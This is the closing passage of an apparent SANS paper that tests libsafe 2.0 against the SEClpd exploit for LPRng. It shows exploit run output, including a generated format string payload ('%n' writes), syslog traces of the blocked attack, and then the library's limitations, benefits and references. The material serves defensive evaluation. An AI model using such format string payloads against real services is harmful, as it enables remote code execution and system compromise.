Next, libsafe 2.0 is activated on the Red Hat Linux 7.0 target machine and SEClpd is run against it a second time. The following messages are printed:

```
. . .
```

```
Generation complete:
Address:
01f0ffbf.02f0ffbf.03f0ffbf.58585858.58585858.58585858.58585858.58585858
.58585858
Append: %.192u%300$n%.238u%301$n%.11u%302$n%.192u%303$n
--- [5] Unable to create socket!
Exploit failed!
```

SEClpd has reached its final iteration of the brute force loop. There is a built in maximum offset value that when reached, SEClpd gives up and prints the above error message. Did libsafe 2.0 detect an attempt to overwrite a return address location? No. Did it take the necessary action to terminate LPRng? No. A status on LPRng reveals:

```
[root@targethost70 /]# /etc/rc.d/init.d/lpd status
lpd (pid 530) is running. . .
```

LPRng is still running and accepting connections on TCP port 515. The earlier SEClpd attempt successfully identified a return address location. When this return address location was tried in the second SEClpd run, a libsafe 2.0 detection would have terminated the lpd process listening on port 515. Connection refusals to TCP port 515 would have ensued.

This means "%n" format specifiers in the malicious string were never processed. Libsafe 2.0 had a key role in preventing this event. A look at entries in /var/log/messages reveals what occurred:

```
Jul 23 05:06:12 targethost70 SERVER[3017]: Dispatch_input: bad request
line 'BB^Hòÿ¿^Iòÿ¿'
Jul 23 05:06:17 targethost70 SERVER[3081]: Dispatch_input: bad request
line 'BB^Hñÿ¿^Iñÿ¿'
Jul 23 05:06:21 targethost70 SERVER[3145]: Dispatch_input: bad request
line 'BB^Hðÿ¿^Iðÿ¿'
```

Note the emitted string logged by syslog() is only 12 bytes in size. These 12 bytes of the malicious string are part of the guessed return address location. However, no further values, padding, or shellcode appears.

When the syslog() function is passed a message string, the vsprintf() function is used to process it. Libsafe 2.0 reimplements the core _IO_vfprintf() function which is eventually called by the *printf() family of functions. It is logical to conclude that this reimplementation has imposed bounds on the user supplied input as shown by the truncated syslog entries above. It is not readily clear why a size enforcement was done with the SEClpd exploit.

Libsafe 2.0 prevented the malicious string to such an extent that exploit detection and subsequent termination of LPRng were not necessary. Because of this, no violation messages were logged to /var/log/secure. In this case however, a systems administrator needed to be notified of an intrusion attempt. Even though the exploit failed and the LPRng service continued to run, an incident handling process needed to be initiated. Response to the intrusion attempt may have involved researching LPRng vulnerabilities

and appropriate patches. The author has contacted libsafe 2.0 developers at Avaya Labs asking if detection and notification of an enforced string bounds are possible.

Libsafe 2.0 Limitations

Since libsafe 2.0 provides dynamically loadable library functions, it will not work for programs that have been statically linked. Statically linked programs will not be protected under libsafe 2.0 but their operation will not be affected by the libsafe 2.0 installation.

Programs that have been linked with libc5 are not supported by libsafe 2.0. These programs will need to be recompiled with libc6 in order to work with libsafe 2.0.

Libsafe 2.0 detection facilities utilize embedded frame pointers to calculate upper bounds within a stack frame and to determine return address locations. Programs that have been compiled without code to embed frame pointers on the stack will be detected by libsafe 2.0 and will bypass libsafe 2.0 safety checks. They will be run normally with the standard C library functions. Such programs may have been compiled with the gcc –fomit-frame-pointer option.

Libsafe 2.0 itself continues to undergo improvements. Through the course of testing, the author found problems with libsafe 2.0's operation. The statdx exploit successfully compromised a Red Hat Linux 6.2 system protected by a default installation of libsafe 2.0. The SECIpd exploit was stopped by the libsafe 2.0 reimplementation of _IO_vfprintf(). However, libsafe 2.0 failed to produce notification of what it had done. These issues can be resolved through software fixes and do not demonstrate any serious limitations of libsafe 2.0. From the author's experience libsafe 2.0 developers are responsive and welcome submissions of bug reports.

The scope of libsafe 2.0's protection is limited to the set of safe library functions that have been reimplemented. However, this set of functions handles a significant amount of exploits against stack-related bugs in software.

Libsafe 2.0 Benefits and Conclusions

The benefits of libsafe 2.0 are immense in securing a system against stack exploits. Libsafe 2.0 provides a level of protection that offers significant advantages over the limited solutions of applying software patches to specific modules and subsystems. By preventing future, unknown attacks a libsafe 2.0 protected system enjoys an excellent measure of preventative security.

Installation of libsafe 2.0 on a machine should not preclude a security policy of applying patches to identified software vulnerabilities. Libsafe 2.0 will give an administrator the opportunity to thoroughly research a vulnerability and test fixes without the pressure of an impending intrusion.

Libsafe 2.0 can be thought of as an intrusion detection system with teeth. Intrusion detection systems generally do not take defensive action to protect hosts. Since libsafe 2.0 operates at the lower levels of the operating system, it has access to sufficient

information to make positive identifications when stack violations occur. This eliminates the problem of false positives. When a detection is made, protective action follows.

Since libsafe 2.0 requires no modifications to the operating system or application software packages, installation is simple and libsafe 2.0 requires minimal ongoing administration. Because libsafe 2.0 operates at the level of library functions, libsafe 2.0 does not require access to program source code in order to protect vulnerable software. Licensing restrictions on source code are a non-issue. The protection libsafe 2.0 offers encompasses closed and open source programs.

According to experiments performed by developers at Avaya Labs, the performance overhead of libsafe 2.0 is negligible, even though extra code is required within the substitute functions to perform detections. A substitute library function can actually outperform the original function. This is the case with the implementation of the strcat() function where a performance gain over the original strcat() function occurs when used with strings longer than 256 bytes.

With the above benefits, libsafe 2.0 can play a key role in an organization's information security strategy. Its integration to Linux systems merits serious consideration.

References

1. Aleph One. Smashing the Stack for Fun and Profit. Phrack Magazine, 49(14), 1998.

2. Bailey, Edward C. Maximum RPM. Red Hat Software, Inc., February, 1997.

3. Baratloo, Arash, Singh, Navjot, and Tsai, Timothy. "Transparent Run-Time Defense Against Stack Smashing Attacks." In Proceedings of the USENIX Annual Technical Conference, June 2000. URL: http://www.avayalabs.com/project/libsafe/doc/usenix00/paper.html

4. Bugtraq. "Multiple Vendor LPRng User-Supplied Format String Vulnerability." November 10, 2000. URL: http://www.securityfocus.com/vdb/bottom.html?vid=1712

5. Bugtraq. "Multiple Linux Vendor rpc.statd Remote Format String Vulnerability." November 10, 2000. URL: http://www.securityfocus.com/vdb/bottom.html?vid=1480

6. Common Vulnerabilities and Exposures. "CVE-2000-0666, rpc.statd in the nfs-utils package in various Linux distributions does not properly cleanse untrusted format strings, which allows remote attackers to gain root privileges." October 13, 2000. URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0666

7. Common Vulnerabilities and Exposures. "CVE-2000-0917, Format string vulnerability in use_syslog() function in LPRng 3.6.24 allows remote attackers to execute arbitrary commands." January 22, 2001.
URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0917

8. Huger, Alfred. Posting to InfoSec News mailing list. "Adore Worm a little more. . ." April 4, 2001. URL: http://www.landfield.com/isn/mail-archive/2001/Apr/0027.html

9. Kernighan, Brian W. and Ritchie, Dennis M. The C Programming Language. Prentice-Hall, 1988.

10. Lewis, Derrick. "The Arash Baratloo Interview." June 7, 2000. URL: http://www.linux.com/interviews/20000607/57

11. Newsham, Tim. "Format String Attacks." September, 2000. URL: http://www.guardent.com/docs/FormatString.PDF

12. SANS Global Incident Analysis Center. "Adore Worm." Version 0.8. April 12, 2001. URL: http://www.sans.org/y2k/adore.htm

13. Singh, Navjot and Tsai, Timothy. "Libsafe 2.0: Detection of Format String Vulnerability Exploits." February 6, 2001. URL: http://www.avayalabs.com/project/libsafe/doc/whitepaper-20.pdf

Last Updated: May 28th, 2017

Upcoming Training

SANS London July 2017	**London, United Kingdom**	**Jul 03, 2017 - Jul 08, 2017**	**Live Event**
SANSFIRE 2017	**Washington, DC**	**Jul 22, 2017 - Jul 29, 2017**	**Live Event**
SANS Network Security 2017	**Las Vegas, NV**	**Sep 10, 2017 - Sep 17, 2017**	**Live Event**
SANS OnDemand	**Online**	**Anytime**	**Self Paced**
SANS SelfStudy	**Books & MP3s Only**	**Anytime**	**Self Paced**